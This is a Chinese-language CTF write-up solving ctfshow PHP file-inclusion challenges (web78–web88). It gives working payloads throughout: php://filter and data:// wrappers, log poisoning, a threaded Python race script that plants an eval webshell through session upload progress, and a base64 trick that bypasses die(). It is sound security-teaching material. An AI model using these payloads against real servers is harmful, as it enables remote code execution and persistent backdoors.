文件包含漏洞:

文件包含:

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

常见函数:

  • include( )

    当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
    进来,发生错误时之给出一个警告,继续向下执行。

  • include_once( )

    功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次。

  • require( )

    require()与include()的区别在于require()执行如果发生错误,函数会输出
    错误信息,并终止脚本的运行。

  • require_once( )

    功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

题目:

web78:

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。此题使用的php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

``

payload:

1
?file=php://filter/convert.base64-encode/resource=index.php

web79:

过滤了“php”,意味着上题的伪协议将无法使用。介绍另一个封装器data://。 类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

payload:

1
?file=data://text/plain;base64,[base64_encode_shell]

shell处更换为PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=,即<?php system("cat flag.php");的base64编码,flag在页面源码注释里。

web80:

同时过滤了前面两题使用的php和data。而服务器运行后会记录我们的User-Agent操作(或直接通过url,但是这一题对url的过滤很严),我们可以通过日志文件来获取flag。根据题目提示,日志文件路径为/var/log/nginx/access.log。

然后读取fl0g.php即可。

web81:

在之前的基础上又过滤了冒号,应该是为了防范远程文件包含。但是使用上题解法也可以执行命令。

这里我们使用post变量的方式也能执行命令。

web82:

利用php5.4的PHP_SESSION_UPLOAD_PROGRESS进行文件包含,在其配置文件下有几个选项:

1
2
3
4
1. session.upload_progress.enabled = on    //表示upload_progress功能开启,意味着浏览器上传文件时php会记录文件上传的相关信息(如上传时间和进度)储存在session中
2. session.upload_progress.cleanup = on //表示文件上传结束后php会立即清除session文件内容
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //这两个参数将表示为session的键名

这里先写一个网页用来上传文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<form action="http://03d137db-9e2b-4e16-9c1b-da3c7e0aa900.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="web82" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

上传文件,抓包

由于clearup参数默认开启,所以我们需要在session文件被删除前利用它。所以需要条件竞争,开启爆破

payload可以如下设置

抓取访问题目地址的包

开启爆破后运气好的话可以在response包中找到执行ls的结果。但是这里由于bp不够迅速的原因,并没有成功。

这里再提供群主的方法,使用python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import io
import threading

url='http://0a5cb718-8127-4cc4-b854-94014158d58f.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}#上传后访问2.php即可
def write(session):
fileBytes=io.BytesIO(b'a'*1024*50) #尽可能大
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>' #这个马是为了执行data处的马
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ccc.jpg',fileBytes)
})

def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID': sessionid
})
response2=session.get(url+'2.php')
if response2.status_code==200:
print("++++++done++++++++")
else:
print(response2.status_code)
if __name__ == '__main__':
event=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session, )).start()

event.set()

web87:

本题题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

功能就是将content的内容写入file,我们可以利用这个文件解题。但是在file_put_contents中还有die()函数在content之前被写入,脚本被终止运行,导致我们即使写入一句话也没法执行。好在定义的file名称是可控的,那么可以使用filter协议限定文件的解析方式,再以base64编码的方式写入一句话。

首先,由于题目源码中有urldecode,将使用协议和文件名进行两次url(hex)编码:

1
2
3
4
php://filter/write=convert.base64-decode/resource=1.php

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

再将写入的一句话进行base64编码:

1
2
3
<?php @eval($_POST[a]);?>
PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpdie”和我们传入的其他字符。“phpdie”共6个字符,由于base64算法解码时以4bytes为一组,所以在传入的content前再加两个字符“aa”凑成8个字符,最终被解码的结果就是“phpdie”和传入的一句话。

然后访问1.php,post a=system(tac f*);即可

同理也能用字符串操作来绕过die(),但这个方法并不会去除<?标签,若服务器开启过滤的话该方法失效。

web88:

过滤了很多东西,但是没有过滤:和//。那么使用data协议。利用data:// 伪协议可以直接达到执行php代码的效果

payload:

1
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTsgPz4

值得注意的是,这一题过滤了‘=’,所以需要手动把’=’删除。

参考:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list